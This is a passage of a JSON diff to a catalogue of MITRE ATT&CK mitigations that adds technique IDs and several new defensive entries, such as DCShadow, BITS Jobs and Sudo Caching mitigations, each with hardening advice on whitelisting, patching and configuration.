+ "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908",
+ "meta": {
+ "external_id": "T1073"
+ }
},
{
"description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.",
"value": "Launchctl Mitigation - T1152",
- "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc"
+ "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
+ "meta": {
+ "external_id": "T1152"
+ }
},
{
"description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Rootkit Mitigation - T1014",
- "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f"
+ "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f",
+ "meta": {
+ "external_id": "T1014"
+ }
+ },
+ {
+ "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.",
+ "value": "DCShadow Mitigation - T1207",
+ "uuid": "b70627f7-3b43-4c6f-8fc0-c918c41f8f72",
+ "meta": {
+ "external_id": "T1207"
+ }
},
{
"description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Modify Registry Mitigation - T1112",
- "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc"
+ "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
+ "meta": {
+ "external_id": "T1112"
+ }
},
{
"description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "System Time Discovery Mitigation - T1124",
- "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307"
+ "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307",
+ "meta": {
+ "external_id": "T1124"
+ }
+ },
+ {
+ "description": "Application Isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.",
+ "value": "Exploit Public-Facing Application Mitigation - T1190",
+ "uuid": "65da1eb6-d35d-4853-b280-98a76c0aef53",
+ "meta": {
+ "external_id": "T1190"
+ }
},
{
"description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
"value": "AppCert DLLs Mitigation - T1182",
- "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6"
+ "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
+ "meta": {
+ "external_id": "T1182"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "System Network Connections Discovery Mitigation - T1049",
- "uuid": "c1676218-c16a-41c9-8f7a-023779916e39"
+ "uuid": "c1676218-c16a-41c9-8f7a-023779916e39",
+ "meta": {
+ "external_id": "T1049"
+ }
},
{
- "description": "Ensure Protected View is enabled. (Citation: Microsoft Protected View)\n\nRegistry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017)",
+ "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)",
"value": "Dynamic Data Exchange Mitigation - T1173",
- "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74"
+ "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74",
+ "meta": {
+ "external_id": "T1173"
+ }
},
{
"description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.",
"value": "LLMNR/NBT-NS Poisoning Mitigation - T1171",
- "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22"
+ "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
+ "meta": {
+ "external_id": "T1171"
+ }
},
{
"description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Screen Capture Mitigation - T1113",
- "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55"
+ "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55",
+ "meta": {
+ "external_id": "T1113"
+ }
},
{
"description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Windows Admin Shares Mitigation - T1077",
- "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5"
+ "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5",
+ "meta": {
+ "external_id": "T1077"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Deobfuscate/Decode Files or Information Mitigation - T1140",
- "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0"
+ "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0",
+ "meta": {
+ "external_id": "T1140"
+ }
+ },
+ {
+ "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.",
+ "value": "Exploitation of Remote Services Mitigation - T1210",
+ "uuid": "14b63e6b-7531-4476-9e60-02cc5db48b62",
+ "meta": {
+ "external_id": "T1210"
+ }
},
{
"description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).",
"value": "Clear Command History Mitigation - T1146",
- "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483"
+ "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483",
+ "meta": {
+ "external_id": "T1146"
+ }
},
{
"description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
"value": "Modify Existing Service Mitigation - T1031",
- "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf"
+ "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf",
+ "meta": {
+ "external_id": "T1031"
+ }
},
{
- "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
+ "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.",
+ "value": "Exploitation for Credential Access Mitigation - T1212",
+ "uuid": "06160d81-62be-46e5-aa37-4b9c645ffa31",
+ "meta": {
+ "external_id": "T1212"
+ }
+ },
+ {
+ "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.",
+ "value": "Trusted Relationship Mitigation - T1199",
+ "uuid": "797312d4-8a84-4daf-9c56-57da4133c322",
+ "meta": {
+ "external_id": "T1199"
+ }
+ },
+ {
+ "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.",
+ "value": "Sudo Caching Mitigation - T1206",
+ "uuid": "dbf0186e-722d-4a0a-af6a-b3460f162f84",
+ "meta": {
+ "external_id": "T1206"
+ }
+ },
+ {
+ "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
"value": "Third-party Software Mitigation - T1072",
- "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930"
+ "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930",
+ "meta": {
+ "external_id": "T1072"
+ }
},
{
"description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Video Capture Mitigation - T1125",
- "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d"
+ "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
+ "meta": {
+ "external_id": "T1125"
+ }
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Extra Window Memory Injection Mitigation - T1181",
- "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440"
+ "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440",
+ "meta": {
+ "external_id": "T1181"
+ }
},
{
- "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)",
+ "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
"value": "Install Root Certificate Mitigation - T1130",
- "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c"
+ "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c",
+ "meta": {
+ "external_id": "T1130"
+ }
},
{
"description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts",
"value": "Brute Force Mitigation - T1110",
- "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c"
+ "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c",
+ "meta": {
+ "external_id": "T1110"
+ }
},
{
"description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
"value": "Keychain Mitigation - T1142",
- "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a"
+ "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a",
+ "meta": {
+ "external_id": "T1142"
+ }
},
{
"description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Email Collection Mitigation - T1114",
- "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7"
+ "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7",
+ "meta": {
+ "external_id": "T1114"
+ }
},
{
- "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit. (Citation: SRD EMET)",
- "value": "Exploitation of Vulnerability Mitigation - T1068",
- "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502"
+ "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)",
+ "value": "BITS Jobs Mitigation - T1197",
+ "uuid": "cb825b86-3f3b-4686-ba99-44878f5d3173",
+ "meta": {
+ "external_id": "T1197"
+ }
+ },
+ {
+ "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.",
+ "value": "Exploitation for Privilege Escalation Mitigation - T1068",
+ "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502",
+ "meta": {
+ "external_id": "T1068"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Remote File Copy Mitigation - T1105",
- "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a"
+ "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
+ "meta": {
+ "external_id": "T1105"
+ }
+ },
+ {
+ "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities used to invoke execution.",
+ "value": "Indirect Command Execution Mitigation - T1202",
+ "uuid": "1e614ba5-2fc5-4464-b512-2ceafb14d76d",
+ "meta": {
+ "external_id": "T1202"
+ }
},
{
"description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Exfiltration Over Alternative Protocol Mitigation - T1048",
- "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80"
+ "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80",
+ "meta": {
+ "external_id": "T1048"
+ }
},
{
"description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.",
"value": "Private Keys Mitigation - T1145",
- "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e"
+ "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
+ "meta": {
+ "external_id": "T1145"
+ }
},
{
"description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.",
"value": "Rc.common Mitigation - T1163",
- "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482"
+ "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482",
+ "meta": {
+ "external_id": "T1163"
+ }
},
{
"description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
"value": "Access Token Manipulation Mitigation - T1134",
- "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6"
+ "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
+ "meta": {
+ "external_id": "T1134"
+ }
},
{
"description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
"value": "Hidden Window Mitigation - T1143",
- "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a"
+ "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
+ "meta": {
+ "external_id": "T1143"
+ }
},
{
"description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)",
"value": "Remote Desktop Protocol Mitigation - T1076",
- "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6"
+ "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6",
+ "meta": {
+ "external_id": "T1076"
+ }
+ },
+ {
+ "description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to Valid Accounts that may be used to access repositories",
+ "value": "Data from Information Repositories Mitigation - T1213",
+ "uuid": "13cad982-35e3-4340-9095-7124b653df4b",
+ "meta": {
+ "external_id": "T1213"
+ }
},
{
"description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Web Service Mitigation - T1102",
- "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97"
+ "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97",
+ "meta": {
+ "external_id": "T1102"
+ }
},
{
"description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.",
"value": "Input Prompt Mitigation - T1141",
- "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df"
+ "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
+ "meta": {
+ "external_id": "T1141"
+ }
},
{
"description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Network Service Scanning Mitigation - T1046",
- "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3"
+ "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3",
+ "meta": {
+ "external_id": "T1046"
+ }
},
{
"description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
"value": "Windows Management Instrumentation Event Subscription Mitigation - T1084",
- "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259"
+ "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259",
+ "meta": {
+ "external_id": "T1084"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Data from Local System Mitigation - T1005",
- "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd"
+ "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
+ "meta": {
+ "external_id": "T1005"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Custom Cryptographic Protocol Mitigation - T1024",
- "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad"
+ "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad",
+ "meta": {
+ "external_id": "T1024"
+ }
},
{
"description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
